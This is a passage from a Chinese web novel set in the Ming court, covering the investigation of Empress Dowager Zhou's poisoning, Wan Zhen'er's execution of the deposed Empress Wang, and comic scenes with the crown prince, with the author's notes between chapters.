万贞儿再次告诫,得到朱佑棱肯定的点头后,才算勉强松了一口气。 “快去洗漱。”万贞儿笑着说。“洗漱好了就去睡觉。明儿还要早起,跟着你父皇一起上早朝呢。” “只是父皇上早朝,儿子在旁听着。可不敢随便插言掺和。” 万贞儿闻言笑了,带着点取笑朱佑棱的味道。“说什么呢,鹤归这是没注意自己的年龄,你才多大,小小年龄就想插言掺和政务,就旁听就行了。多看多学少说话。当初你父皇像你这么大的时候,可没有像你这样。” 朱佑棱尚在襁褓之中,就被万贞儿抱着旁听朝会,而朱见深呢,启蒙还是万贞儿做的,靠着一本《三字经》勉强认识了很多字。 朱佑棱启蒙,是当代大儒。不管是李贤还是商络,亦或者万安,都是学问很不错的文人。 给朱佑棱启蒙,并教导他读书识字,完全够资格。 综合对比,朱佑棱的的确确比朱见深幸运很多。至于幸福,哎,不要期待妈宝男对幸福的定义,反正现在年龄还小,对幸福的定义有什么变化,再改不迟。 朱佑棱重重点头,表示自己都知道了,还道。“明儿鹤归一定早起。” “乖。” 朱佑棱自去梳洗,万贞儿则开始和小红、小翠复盘周太后中毒的事情。 小红猜测凶手出自慈安宫,小翠则猜测凶手是冲着周太后、朱佑棱两人来的。 “但一定很熟悉慈安宫的情况,知晓太后娘娘的性格,不然怎么就把砒霜下在了燕窝粥里,而不是砂锅山药粥,或者两种粥都下?” 万贞儿眉头紧锁,显然在思索。 依着万贞儿的聪慧,自然没认为小红、小翠的猜测没问题。相反正是因为一点问题都没有,所以万贞儿反而认为有哪里不对。总觉得哪里被她给忽视了。 可实际上哪里是被她忽视了,不,应该说‘能干’的朱佑棱无意识的将他们都带偏了,不止万贞儿,就连才遭了大罪的周太后同样如此,她甚至已经开始进行深刻的自我检讨。 觉得自己的确不该太小家子气,要是她将独自享用的燕窝粥分给朱佑棱,那朱佑棱就陪着他一块儿受罪了。 而不是呜呼哀哉,一边自己喝着药,一边抹着眼泪骂娘。 慈安宫那边一时半会儿,估计都不会有安宁时刻。万贞儿嫌烦,不得不着手处理。 现在复盘,万贞儿思索间突然想到了王氏。有点儿奇怪,慈安宫闹哄哄的,她怎么没有出现。 “去查查王氏在干什么?”万贞儿出声道。“她是皇后,本宫和万岁爷接到消息后就赶去了慈安宫,而她身为皇后又住在坤宁宫,慈安宫距离坤宁宫不远,怎么反倒她一晚上都没有出现。” “娘娘,会不会是她”做的。 万贞儿打断小翠的话,并道。“是与不是,好好查查就知道了。如果真是她,本宫倒是佩服她的愚蠢。” 差点害了她的鹤归,要是王氏真的是凶手,那就别怪她出手狠辣了。 不,应该说即便和王氏无关,王氏这回怕坐不稳皇后的位置了。朱见深本身就在找机会准备废掉王氏,然后不再立皇后,让万贞儿以皇贵妃的身份摄六宫。 这回显然是极好的机会,万贞儿在不涉及儿子的情况,都会牢牢抓住这个机会,何况是涉及了儿子的情况下。 “本宫庆幸鹤归没有吃那碗燕窝粥,可要是周太后没有小家子气的毛病发作,那鹤归岂不是要和她一样。” 说到这儿,万贞儿捂住胸口,一副很难过的样儿。 “只要一想到这个,本宫心里就难受得不得了”万贞儿越说,面色越发凶狠。 “即使走运,那也是鹤归得天庇佑才没有出事。” 怎么可能因为朱佑棱‘没有出事’就将幕后凶手放过呢,后宫可是她在管,出了这样的事,纯粹就是在打她的脸。 “去看看鹤归,怎么洗漱洗了这么长的时间,别是在浴室睡着了。”万贞儿再次开口,却是打发小红去浴室瞧瞧。 小红赶紧去瞧,之后万贞儿也没有和小翠再说什么。朱佑棱是被光溜溜抱出来的,万贞儿猜得没错,朱佑棱洗澡,在浴桶里洗着洗着就睡着了。自然谈话,算是告一段落。 一夜休息,早早的,天还没有亮,朱佑棱就被朱见深带着去上早朝。万贞儿开始着手处理周太后中毒事件,雷厉风行,将整个慈安宫都肃清了一个遍儿,连慈安宫隔壁慈宁宫,都一并儿被清洗了。 还有王氏那儿,王氏没有来,是因为同样中毒了。这样的巧合,让人很不难怀疑,王氏的中毒纯粹就是自编自演。 事实上差不多是这样吧!王是不是幕后凶手,但她略微知晓一二,也猜到是谁动的手,可惜她胆子小,不敢将自己知道的说出来,也有隐晦想要周太后吃点苦头,最好死了的想法。 没曾想幕后黑手下毒的时候,朱佑棱居然来了,还和周太后一起分食了有毒的砂锅山药粥。 知道后王氏直接傻眼,随即就是滔天的害怕袭来。 护崽的万贞儿有多恐怖,王氏是体会过一次的。害怕再次体验一次的王氏,也不知是脑抽,还是脑子灵机一动,居然想到自己服毒药来洗脱嫌疑。 结果恰恰正是她的自作聪明,暴露她知情,更别说她囔囔毒是下在砂锅山药粥里的,而不是燕窝粥的话,让万贞儿直接对她起了杀心,根本就不允许她活着。 很快,见血封喉的鹤顶红以及白绫二选一。 王氏恐惧万分,求情说自己不知情,不是幕后凶手。 “你说砒霜下在砂锅山药粥里,而不是太后娘娘单独吃的燕窝粥里?” 王氏疯狂点头,说幕后凶手是这样安排的。 “下在砂锅山药粥里。”万贞儿杀意更甚。“你的意思是,本宫的鹤归和太后娘娘分食了一盅有毒的砂锅山药粥。” 王氏脸色惨白,显然也是想起了朱佑棱屁事儿没有,周太后吃下有毒的砂锅山药粥后没一会儿,就呕血,而朱佑棱活蹦乱跳,还有心情看热闹。 如此不同寻常,原来以为砒霜是下在燕窝粥里的,所以庆幸。可现在王氏却一口咬定砒霜是下在砂锅山药粥里的,怎么不让万贞儿心惊肉跳,更是有了可怕的猜测。 她的鹤归会不会 她会想办法验证,但是现在 万贞儿的眼神倏然眯起来。 “既然不想选,那本宫替王氏你选。”万贞儿凉飕飕的说,挥手让汪直上前,直接灌了拼命挣扎的王氏毒药。 查出周太后中毒案件与王氏相关后,朱见深就直接下令废除王氏的皇后之位。 目前王氏就只是白身,连采女的身份都不是。就这样被赐死的王氏,大概连被藏入皇陵的资格都没有,最终被赐死的王氏的归宿,大概就是草席一卷,随便挖个坑埋了。 万贞儿一直冷眼看着王氏毒性发作,七窍流血后痛苦死去。 “葬了吧!” 万贞儿挥手,起身离开坤宁宫。 “对了,坤宁宫记得封锁,暂时性的,万岁爷和本宫都不想听到看到有关坤宁宫的事儿。” “好的娘娘。” 汪直弯腰恭送万贞儿离开,他则留下来处理毒杀王氏的后续事宜。 万贞儿出坤宁宫后,就坐着凤撵径直回安喜宫。抵达安喜宫后,万贞儿先是问了朱佑棱的行踪,又问了朱见深什么时候来安喜宫。 以往万贞儿很少问朱见深的行踪,主要朱见深的行踪很规定,万贞儿了解得清清楚楚,现在问,不过是心悸之余找心安。 小翠赶紧回答。“小红已经去请万岁爷了,太子殿下现在在上课,奴婢想着,一会儿就给太子殿下送些吃食过去。” “去送吧。让本宫静静。” 万贞儿面色沉静的挥手,等小翠告退,房间只剩下她一人的时候,万贞儿的思绪,却复杂起来。 “鹤归会不会,会不会百毒不侵?”万贞儿自言自语的说着连自己都难以置信的话。 “要不要测试一下,不不不,最好不要测试,假装不知道,对,本宫最好假装不知道!”—— 作者有话说:今天从早上8点开始就停电,一直到晚上6点半才来电。问供电所就是线路改造! 我: 第44章 第044章 如果说朱见深是万贞儿深爱…… 如果说朱见深是万贞儿深爱的男人, 那么作为他们俩爱情结晶的朱佑棱,就是万贞儿的心肝宝贝儿。 十月怀胎,从身上掉下来的一块肉,万贞儿尚且自己疼爱都来不及, 又怎么可能为了离谱的猜测, 从而导致心肝宝贝儿受伤, 那万贞儿不知道会有多心痛。 思绪纷乱, 好在万贞儿自己说服了自己, 她甚至没了和朱见深说的意思, 只想着瞒下来, 自己知道就成。 过了一会儿, 就在万贞儿已经做好心理建设的时候, 朱见深来安喜宫报道了。 “贞姐这是在思考人生?” 回过神的万贞儿白了朱见深一眼。 “乱说什么,我只是在思索王氏跟我说的一些话而已。” “说什么?说不是她做的?” “她知有人下毒谋害太后,只是胆小怕事不敢吭声。”万贞儿微微垂目,随即冷哼。“深郎相信她所言?胆小怕事?我看啊,不过是想着看太后娘娘的笑话, 甚至还觉得太后娘娘要是因此去了, 那么她也不必隔三差五就要去慈安宫伺候太后娘娘。” 听到这儿,朱见深深以为然的点头。 “贞姐,你说的没错, 朕也是这样猜测的。既然王氏知情,那就死不足惜。” 反正朱见深是不信周太后虐待宫女, 才导致宫女心生报复投毒企图谋害的缘由。 周太后虽然蠢得清丽脱俗,又作得太过小家子气,但她的蠢她的作,只面对与她有血缘关系的两儿一女, 其他人的话,也就对万贞儿以及朱见深的嫔妃不客气 而对伺候她的宫人,周太后的做法恰恰相反,还挺温和大方的。 朱见深:“慈安宫的宫人肃清一遍,后续内务府安排宫人,贞姐盯着点,对了还有慈宁宫。” 万贞儿点头,承诺说。“放心,我办事深郎还不放心?” “自然是放心的。” 万贞儿朝着朱见深又翻了一记白眼,之后又道。“自从出了太后娘娘中毒的事儿,我的心里就不安稳极了,时常害怕鹤归也遭此毒手,干脆就天天对鹤归耳提面训,让鹤归时刻谨记不要在外乱吃东西。” “正好减肥。”朱见深感叹。“反正鹤归挺胖的。” “哪里胖了?”万贞儿顿时反驳。“孩子嘛,一身婴儿肥很正常。怎么能说胖?那是福气,深郎的小时候不也如此。” 哦,现在也没有好到哪里去!恭维说一句微胖身材,实则就是白白胖胖,好似白面馒头。 朱见深摸摸鼻子,有些不好意思的道。“小时候的事,朕其实已经有些记不太清楚。” 嗯,这个特指他小时候就胖。 朱佑棱完全遗传了朱见深的身材,如今是个小胖墩,长大后估计也是微胖界的顶流。 万贞儿:“对了,那白才人,怀孕了,本来该和深郎说说,要不要抬抬她的份位,结果出了太后娘娘这事儿,倒是忘了。” “白才人?谁啊!” 朱见深是真的不记得这个人了,周太后时常骂他,让他雨露均沾,朱见深依然每月至少25天待在安喜宫,3日待在乾清宫,剩余2日才去后宫溜达 就每月两天的宠幸时间,每每还草草了事,结果白才人还怀了身孕,如今朱见深听了只觉得 一脸懵逼。 是的,朱见深一脸懵逼。 “怀孕就提份位,美得她。等生了孩子再说。”朱见深十分渣男的说。“到时候就封个嫔就成了。” 万贞儿:“” 所以有儿万事足的她,真的很没有必要嫉妒后宫不断进的新人。就冲朱见深这态度,新人变成旧人,依然毫无存在感。 “先给嫔的待遇吧。毕竟怀了龙嗣。”万贞儿笑着道。“我可是知道的,我啊,在那群文官口中可没有好名声,他们都在说我嚣张跋扈,把持后宫,将深郎玩弄手掌间” 此话一出,却见朱见深红了脸。 “小深郎喜欢被贞儿玩弄手掌间。” “” 窝草! 这是我这个当儿子能听的? 朱佑棱刚蹦蹦跳跳的跑回安喜宫,还来不及喊亲亲娘亲,就听到了朱就朱见深那堪比开坦克的虎狼之词。 朱佑棱试探性的将迈出的左脚收了回来,又把右脚抬起,重重的落地。 “今天肯定是我进门的方式不对。”朱佑棱自我安慰。“不然怎么听到这种话语呢!” 万贞儿直接羞红了一张俏脸。白眼也没有朝着朱见深翻。主要朱见深的德性,万贞儿朝着他翻白眼,只会被认为是在抛媚眼。 “深郎,孩子在呢,莫要再说羞煞人的话。” “没事,鹤归不懂。” 朱佑棱面无表情的扫了朱见深一眼。 ——小亲爹你仔细瞅瞅儿砸我,儿砸我这样,像是不懂? 朱见深乐呵呵的转移话题。“鹤归啊,今天谁给你上的课?” “李贤那个老登儿。”朱佑棱吐槽。“他让孤背诵《雎鸠》。孤背诵了,然后问他意思,那老登儿居然说孤年龄还小,可以暂时不必了解其中含义。” 说到这儿,朱佑棱双手一摊,显得特别的无奈。 “既然孤现在可以不必了解其中含义,那孤背诵有什么意义?” 更别说其实朱佑棱懂《雎鸠》所表达的意思。 只能有些人适合当官,但不一定适合当老师。就李贤的教学水平,朱佑棱觉得自学都强。 “凡事要讲究循环渐进。”万贞儿道。“鹤归你不能因为不高兴,就产生厌学的情绪。何况你现在的确年龄小,等大点,大概你的太子太傅们,会教导你儒学。” “???儿子是太子啊。”朱佑棱懵逼,且无语的道。“是父皇的继承人,学什么儒学?要是儿子学了儒学,娘亲你就不怕儿子跟建文帝一样,被建文三傻忽悠得自废武功?” 此言一出,朱见深和万贞儿都沉默了。 怎么说呢! 建文帝朱允炆,的的确确是被儒生坑傻了的典型代表,要不是建文帝朱允炆被方孝孺坑傻了,也不会在削藩的问题上,选了最没有威胁性的藩王杀鸡儆猴。 结果好了,朱允炆的皇位丢了,而提出傻逼建议的方孝孺也喜提十族消消乐。 从那以后,大家对皇子皇孙,哪怕继承皇位的皇长子要求都不高。只需要识字就成。 怎么到了朱佑棱这儿,要求就一下子变高了呢! 朱见深和万贞儿越琢磨,越觉得李贤他们包藏祸心,顿时红冒三丈。朱见深更是拍起了桌子。 “别管什么儒学,鹤归你记住,你是太子,是朕的继承人,并不需要将儒学吃透。身为太子想学什么就学什么,不用考虑太子太傅们的经验。” 朱佑棱:“帝王之道。” “嗯?”朱见深眨着眼睛,那双和朱佑棱眼睛相似度极高的狭长点漆眼写满了不解。 “父皇知道什么是‘帝王之道’吗?” 朱见深开始坐立难安,显然是不知道的。 朱佑棱盯着朱见深,直直的,一句话也不说。 朱见深顿时开始眼神游移、手指甚至下意识抠着龙袍边角 朱佑棱:“” 心里默默叹了口气。 果然,他这位爹,是个感性大于理性的皇帝,驾驭朝堂更多是靠直觉、帝王权威以及对万贵妃的依赖,对于系统性的“帝王之术”,恐怕还真没怎么深入琢磨过。 “咳咳,”、 朱见深试图挽回一点作为父皇和皇帝的尊严,强自镇定地道,“帝王之道,自然是驾驭群臣,平衡朝局,使四海升平,百姓安居乐业” 这话说得冠冕堂皇,却是放之四海而皆准的空话。 朱佑棱睁着乌溜溜的大眼睛,一眨不眨地看着朱见深,那小眼神仿佛在说,不对,已经在说了。 “父皇,说具体点!” 朱见深:“” 朱见深被儿子看得越发不自在,感觉自己那点底子快要被看穿了。而万贞儿呢,居然含笑的看着这一出。 朱见深朝着万贞儿委屈的瘪了瘪嘴巴,索性破罐子破摔。 他一把朱佑棱抱起来,放在膝盖上,用下巴蹭了蹭儿子的头顶,带着点耍赖的口气说。 “哎呀,朕的鹤归还小,想这些深奥的问题做什么?你现在只要吃好睡好,快快长壮实就行!那些太傅们讲的之乎者也,听着烦了就睡觉,父皇准了!” 朱佑棱:“……” ——小亲爹,您这样真的好? ——这是养太子还是养猪啊? 不过,朱佑棱也明白,朱见深这话里透着全是真心。 朱见深经历了坎坷的童年和被废又被立的储君生涯,真的不希望万贞儿为他生的儿子,过早被沉重的“圣贤之道”束缚。 朱见深或许在帝王教育上,有某种缺失或者说惰性,但他真的超爱朱佑棱。 朱佑棱顿时觉得心暖暖的,忙道。“放心父皇,就那几个老登儿,让孤了解儒学,孤不好反驳却也不会照做。” 如果照做了,岂不是表明他这个大明帝国的继承人好忽悠? 谁知道他们觉得朱佑棱好忽悠后,会不会再针对性的对朱佑棱实行更大的忽悠—— 作者有话说:双更完成! 么么哒! 去睡觉觉了,大家晚安! 第45章 第045章 大明的官员最擅长什么,不…… 大明的官员最擅长什么, 不是当官为民做主,而是揣测圣意。然后将揣测的圣意,加以自己的理解,再来牵制帝王。 这不是开玩笑, 而是事实。 其实朱见深当皇帝的时候, 朝纲还是好的。大部分官员或多或少有点毛病, 但大多无伤大雅。 而从明嘉靖开始, 朝政逐渐腐败, 到了朱由校、朱由检这对兄弟当皇帝的时期, 那真的是放眼望去, 整个朝堂没一个好东西。对他们忠心耿耿的除了宦官, 大概就是宦官了。 大明官员太会揣测圣意了, 偏偏揣测明白后又要反其道而行之。仿佛违背皇帝的意愿,就能留名青史似的。 哦!忘了说,到了中后期,言官劝谏还特别喜欢说着说着,就撞柱来个死谏。 朱见深其实挺庆幸现在, 他的言官们没有情绪激动倒这种程度, 不然癫公属性发作,朱见深估计得吓哭,然后从金銮殿狂奔跑来安喜宫, 寻求万贞儿的安慰。 不对,现在朱见深已经‘不理’朱佑棱, 正在蹭着万贞儿撒娇呢。索性朱佑棱已经习惯了,了解小亲爹对‘如何做帝王’也不了解,干脆就专注美食。 别说,安喜宫的小厨房, 师傅的手艺越来越不错了,点心小巧精致味道又不错,另外甜酿甜滋滋的,喝起来甜而不腻,真的超级好吃。 今儿点心,是玫瑰糕,甜酒酿丸子,冰糖糯米甜藕以及蜂蜜蒸红薯。全都甜滋滋的,朱佑棱一口接着一口,很快摆着的甜点,都被吃了个精光。 这时候万贞儿才注意到儿子的多食。 “吃这么多,不怕积食?”万贞儿无奈的让人又去端了一碗消食的甜羹过来。 “娘亲,吃不下去了。” 朱佑棱摸摸小肚腩,还顺手拍了拍,Q弹圆润,证明自己吃得饱饱的。 万贞儿好气又好笑,到底没有执意让朱佑棱再次一碗消食的甜羹。最后送来的消食甜羹,进了朱见深的肚子里。 朱见深嗜甜,也算从小养大的习惯。不过古代的人,绝大部分都嗜甜。朱见深嗜甜,万贞儿也由着,只是偶尔口头上说说。但实际上,从来没有阻拦朱见深吃甜的东西。 就好比现在,朱见深疯狂的往甜羹里加枫糖,万贞儿见了不忍直视,干脆就视而不见,只吆喝朱佑棱活动活动。 朱佑棱没有拒绝,挺着小肚腩就开始围着安喜宫转圈圈,一圈两圈三圈,转到第四圈的时候,朱佑棱觉得自己又饿了。 “要不再吃一碗银丝面?”朱佑棱思索着,随即就开口让小翠去给自己煮一碗银丝面。 小翠笑了,还不忘调侃说。“早知道殿下逛了圈儿会累,就让小厨房的人一直煨着鸡汤,不过银丝面的话,奴婢可没那么好的手艺,倒是会做面片儿,不如奴婢扯一碗面片儿如何?” 朱佑棱其实无所谓吃什么的,只要能入口,味道好的时候,朱佑棱都能吃。 这不听小翠这样说,当即点头并改口,“就面片儿吧。不要煮多,就煮一小碗,等吃完了,孤就去睡觉。” “好。殿下稍等。” 小翠告退,径直往小厨房的方向走。大约不过10分钟,一小碗热气腾腾的面片儿就煮好了。 其实煮面片儿,就是和好面团儿,就将面团儿扯成一片一片不规则的片儿,丢入沸水中煮熟,最后放上佐料淋上浇头。 味道还挺不错,就是份量有点儿少。朱佑棱吃完后,有点儿意犹未尽的他顺便将面汤喝了,然后就精神头儿十足的跑去睡觉。 朱佑棱还没有困,但他有良好的作息习惯。就是一躺在床上,不到三分钟,朱有棱就会进入香甜的梦乡。 这不,朱佑棱一上床,不过三分钟,就直接睡熟了。无论外面殿外刮风还是下雨,只要不打雷,朱佑棱连起夜都不会有。 朱佑棱一夜好梦,只天快亮的时候,被好似夜莺鸣叫的声音吵醒了。 “谁养鸟了。”朱佑棱睁眼问。 “回禀太子爷,安喜宫除了你外,没人养鸟。” 朱佑棱这才恍惚想起去年的时候,自己捡到了一只翅膀断了的喜鹊。精细照顾,结果喜鹊伤好以后,招呼都不打一声就飞走了。 朱佑棱觉得好伤心,郁闷了好长一段时间。如今想起来,倒少不了嘀咕一句没良心的臭喜鹊。 “现在孤不养鸟了。”朱佑棱强调,“而且孤听到的是夜莺啼叫,而不是喜鹊渣渣叫。” 小红愣了愣,倒是想起一件事情。 “昨儿崇王殿下来过。”小红快速的说道。“还跟娘娘说,他运气好,也捡到了一只鸟,想着带来给太子殿下见识见识。想必太子殿下听到的夜莺啼叫,就是崇王殿下捡到的鸟儿。” 朱佑棱:“啊,六皇叔来过?还打算养鸟?不对,他带着鸟儿来?走的时候没有把鸟儿带走?” 小红笑着回答。“或许带了,或许没带,反正昨儿崇王殿下离开后,奴婢没有在安喜宫看到鸟儿,倒是中午的午膳,有一道红枣炖乳鸽。” 朱佑棱:“可怜的六皇叔,鸟儿被炖了。” 朱佑棱嘻嘻笑了笑,就在小红含笑的注视下,快快乐乐的更衣准备干饭。 朱佑棱的快乐很简单,并且很能维持,这不成化五年几乎一整理,朱有棱就没有不开心的时候,哪怕中秋佳节的时候,本该八月三十左右出生的朱佑极早产出世,都没有打扰到朱佑棱的开心。 只是偶尔听小红、小翠说起时,和着一块儿感叹,白嫔的小心思有点儿多。 “娘娘就放任不管?” 小红和小翠趁着朱佑棱去上书房‘受苦’的空挡儿,一边打络子,一边嘲笑白嫔的可笑。 别以为生下二皇子,就高枕无忧。没瞧见朱见深在白嫔生产的时候,连面都懒得露,甚至平安生下二皇子后,连满月宴都舍不得办。问就是国库紧张,私库也没钱。 实际上,朱见深的私库,什么玩意儿都有。但他就是吝啬。主打真爱和真爱的儿子可以动用他的私库,可其他为了传宗接代,不得已出生的皇子公主,就别想了。 以后按照祖宗规矩规定的俸禄养着就成了,多一分都别想朱见深从自己的私库里掏。 朱佑棱当时都被朱见深的骚操作给震惊了,果然是他与众不同的小亲爹。 既然那么嫌弃,当初倒是管住自己的第三条腿啊! 可怜的朱佑棱,已经明年会来到人世间的朱佑樘。以及未来会出生的弟弟妹妹。 朱佑棱因此掉了几滴虚伪的鳄鱼泪,为可怜的现在连名字都还没有拥有的朱佑极挽尊。 “白嫔算什么东西,值得娘娘关注?”小翠不屑一顾的口吻,实在太嚣张。 也不怪小翠如此,实在是那朱佑极出生后病病殃殃的,汪太医曾大胆的得出推断,说朱佑棱大概活不到三岁。 即便能活过三岁,身子骨也病病歪歪,大几率长大后有碍子嗣。 “哎,这话你别拿出去说,最近几天,白嫔常常哭诉钟粹宫的宫人伺候得不尽兴。” 小翠:“有本事来娘娘这边哭诉呀,看吵得人烦后,娘娘会不会收拾她。” 自然会收拾,而且会狠狠的收拾。 万贞儿最讨厌后宫的其他女人跑到她面前哭哭啼啼,嫌弃太过晦气。白嫔要是敢跑来哭,万贞儿就敢把白嫔生的朱佑极夺了,抱给其他人养。 白嫔估计也是知道这点的,所以跑到周太后那儿哭。 “我打量着,白嫔应该起了要将二皇子抱给太后娘娘养的心思。”小翠突然压低声音道。“毕竟都在说白嫔福薄,怕是压不住养二皇子的福气,容易将二皇子养死。” “咱们这宫里,除了咱们娘娘外,还有谁算第二有福气?” 自然是周太后,她就是顶顶有福气的人。 事实上,周太后的福气要大过万贞儿,毕竟周太后一身顺风水水,根本没受过什么蹉跎,反而万贞儿,属于地地道道的先苦后甜。 万贞儿现在的好日子,都是以前陪伴朱见深吃苦换来的。而周太后 莫说了,越说她,真的越容易酸。 小红将线头咬断,打好的络子放到一旁,又拿起新的丝线准备打新的络子。 “的确,太后娘娘福气很好。” “是啊,所以白嫔就打起了太后娘娘的主意。”小翠越说越是不屑,还道。“可惜啊,还是进宫的时间短,看不明白咱们这位太后娘娘是怎样的人,连亲儿子都甩给别人养,又怎么可能花费心思养孙子。” 说周太后因为万贞儿的关系不太喜欢朱佑棱,也不尽然。周太后是平等的不喜欢朱见深的每一个孩子。 朱佑棱呢,因为时不时就要跑去慈安宫气周太后一顿的关系,导致其实祖孙俩的关系还好。 而朱佑极 “纯粹白日做梦,瞧着吧,白嫔再这样折腾下去,估计二皇子殿下会落到吴妃(吴废后)手中。”—— 作者有话说:今天依然更新得慢,因为白天特么又停电了! 笑死[笑哭][笑哭][笑哭]明天还要停一天,晚上6点半才会来电! 第46章 第046章 “她想养孩子?”小红迟疑…… “她想养孩子?”小红迟疑, 倒是不怀疑小翠的消息来源。虽说东西六宫没有秘密,但有些事儿想要打听清楚,还是要颇费周折的。 不像小翠,看似嚣张得很, 实则很多隐晦的消息, 都是小翠打听出来的。特别是汪太医那儿, 全靠小翠维持。 “这后宫已经断了生育之思的女子, 哪个不想养孩子?”小翠中肯的评价说。 “也就是白嫔年轻不知轻重, 等着看她的笑话。” 小红若有所思的点点头, 表示明白。 “且等着吧, 反正那白嫔不要舞到咱们娘娘面前就成。” 一通忙活, 两人少说打了五六个络子。收拾装了针线的簸箕, 小翠看时间差不多了,就起身去了小厨房取了糕点,装入食盒里就准备往上书房走。 小红叫住她,因为万贞儿吩咐小红,去给正在乾清宫辛苦批阅奏折的朱见深送甜羹。 “一同走。” 小红和小翠分别挎着食盒, 同时走出安喜宫后, 一人去了上书房,一人则去了乾清宫。 朱见深其实并没有在批阅奏折,他在发呆。 小红到来之时, 怀恩公公正准备叫醒发呆的朱见深,让朱见深回屋睡觉, 别一边批阅奏折一边打瞌睡。 看到小红,朱见深顿时暗骂自己笨。 干嘛要留在乾清宫,自己苦巴巴的批阅奏折,带着奏折找他的万姐姐啊。 就万姐姐的聪明, 搞定这堆折磨他的奏章,分分钟。 这么想着,朱见深直接激动的让怀恩赶紧将奏折打包,连同他一块儿送去安喜宫。 小红:“万岁爷,那这甜羹” “带上,朕在龙撵上慢慢享用。” 朱见深大手一挥,率先且迫不及待的跑了。 小红沉默三秒钟,果断拎着食盒跟上。怀恩公公随后,还带着宫人分别抱了一大叠的奏折。 就这样,小红送餐,结果餐送到了,送餐的对象跟着一起回了。 万贞儿本来正在看账本的,都被这样的‘变故’惊呆了。特别是朱见深真的好不要脸,居然哭唧唧的求抱抱。 “可是奏折有哪里不对?”万贞儿只能这样问。 “哪里都不对。”朱见深伤心欲绝。“朕不想独自一人批阅奏折。贞姐,要不将安喜宫留给鹤归住,贞姐陪朕住到乾清宫去。” 万贞儿:“” “妾身要是去住了,多半会被骂死。”万贞儿心动归心动,却依然拒绝朱见深的异想天开。 其实也不怪万贞儿,主要言官们太操蛋,过分的时候,连皇帝什么时候招嫔妃侍妾,用什么姿势都要过问。 万贞儿刚被朱见深不顾反对立为贵妃的时候,就被言官放肆的骂过。说她老女人,真的已经算是最轻的骂名。更过分的,连万贞儿这样的女子,都羞于启齿,也不知道那群读书人怎么说得出口。 再说了乾清宫又不是什么好地方,房间多格局却一样,万贞儿都不知道自己住进去,会不会陪着朱见深一块儿发飙。 索性还是留在安喜宫,好歹是自己住惯了的宫殿,又被整治得铁桶一块。 所以呢,万贞儿干脆笑着摸了摸朱见深的狗头,像哄儿子一样哄着。 “以后深郎不想待在乾清宫,大可以时刻都在安喜宫。不就是批阅奏折嘛,深郎不想批阅,交给妾身就是。” 朱见深依然眼泪汪汪,甚至还抱着万贞儿死命的蹭。就是一只大型,爱撒娇的金毛犬,明明生肖兔,偏偏比狗勾还会撒娇。 “好啦深郎,你再这样下去,一会儿鹤归回来看到多不好。” “没事贞姐。”朱见深依然腻歪至极。“鹤归早就习惯了。” 与此同时,被吐槽早就习惯了的朱佑棱开始打连环喷嚏,连着好多下,都把万安看懵了。 是的,今日轮到内阁大臣万安给朱佑棱上课。 “太子殿下,可否要休息一下?” 朱佑棱揉着鼻子,点头应是。当然心中免不了诽谤,又有刁民想要害他。 过一会儿,大概一炷香的时间,万安问朱佑棱休息好了没。 朱佑棱点头,表示自己休息好了。 “既如此,太子殿下想学什么?” 哦豁!万安这老登儿问得可以! 想学什么呢! 朱佑棱思索着开口。 “孤想学帝王心术,万太傅能教吗!”朱佑棱笑得眼睛都眯成了一条缝,看起来特别的可爱。 万安心中却泛起了嘀咕。 帝王心术? 他只会中庸之道啊! 万安斟酌的开口。“帝王心术,不是微臣能够教导太子殿下的,与其询问微臣,太子殿下不妨问问万岁爷是怎么做的。” “父皇说过,他也不太懂帝王心术。”朱佑棱托着腮帮,表示小小的老子,早就问过小亲爹了。 然鹅小亲爹表示自己不知道,还说自己野蛮生长,根本就不懂什么是帝王心术。反正当皇帝的,乾坤独断。要学会自己做决定,不要耳根子软。 耳根子软的皇帝,最容易被臣子忽悠,而且还特别容易背锅。 朱佑棱牢牢记着,并且打算以后融合贯通,现在嘛小孩子认真学习读书,才是小孩子该做的事情,其他的,等他长大,最起码等他长到10岁再说不迟。 “万太傅,孤既然问过父皇,那以后都不会再问,现在嘛,孤觉得孤该好好学习天天向上。算啦,今天也是孤开了这个口。既然万太傅也不懂,那孤就继续抄书吧!” 朱佑棱哼唧,拿过《三字经》开始抄写。 随着年龄的增长,朱佑棱写的字变得稍微好看了一点。但要说绝顶好看,那是不可能的。 不过对比一手狗爬字,还沾沾自喜的朱见深、朱见泽两兄弟,朱有棱真的超满足。 超满足的朱佑棱抄写一篇《三字经》后。灵机一动,取了一张宣纸,挥墨在上面写下‘葵花宝典’四个字。 之后,又在一张干净的宣纸上写下‘欲练此宫,必先自宫’八个小字。 再然后,又用一张洁白干净的宣纸,又写下‘即使自宫,未必成功’八个字。 然后等墨迹一干,美滋滋的用自己抄写的《三字经》开始制作‘手抄秘籍’,超级专注,一直注视着这一幕的万安莫名觉得冷汗津津。 未来的帝国继承人,居然如此的与众不同,这是特意写来坑人的,还是单蠢的恶作剧。 万安布知道,也不好去揣测,干脆就视而不见听而不闻。等朱佑棱将‘葵花宝典’的一册做好后,已经到了下课时间。 朱佑棱如同脱缰的野马,被放出笼的狂飙猪猪,拿着‘葵花宝典’,兴冲冲的冲出上书房,直奔安喜宫。 刚巧,奏折批阅的速度,已经快接近尾声。 朱见深一直在摸鱼,当他看到朱佑棱手中拿着的书,顿时好奇的文问。 “鹤归,你手中拿着什么,怎么看起来皱皱巴巴的。” “这是儿子特意做来孝敬父皇的。”朱佑棱臭不要脸的道。“武功秘籍哦。” 此言一出,朱见深顿时更加感兴趣了。 “鹤归,拿来给父皇瞅瞅。” 朱佑棱也不委屈,笑眯眯的将武林秘籍‘葵花宝典’递给朱见深。 当看到封面弯弯曲曲,特别丑的大字时,朱佑棱陷入了沉思。 葵花宝典? 什么玩意儿? 在好奇心的驱使下,朱见深翻开封面那一页,顿时‘欲练此宫,必先自宫’八个字,直接让朱见深陷入了沉思。 “啥玩意儿?”朱见深不可置信的道。“这就是你说的武林秘籍。” “对啊。”朱佑棱一本正经的道。“这是特殊人才专用的,父皇你不懂,就不要随随便便发出疑问,来质疑孤的聪明才智。” 沉默,是今晚的太湖,波光粼粼,就是没人。 朱见深快速的翻阅着脱了‘富贵皮’的三字经,最后又在看到‘即使自宫,未必成功’八个字的时候,蚌住了。 “鹤归!”朱见深吹胡子瞪眼。“你怎么能干出这样让朕都意想不到的恶作剧。” “就问你信不信。”朱佑棱不以为耻反以为荣,还道。“孤可是信的,所以父皇啊,你还是要有点儿眼力见。” 这么明显的《三字经》都能忽略,可见小亲爹小时候的确没读过多少书。 真·不学无术! 朱佑棱双手背于后,特别老沉的开口。 “算啦算啦,父皇也是第一次当爹,做儿子的,不能对父皇抱有空前绝后幻想。” 朱见深:“” 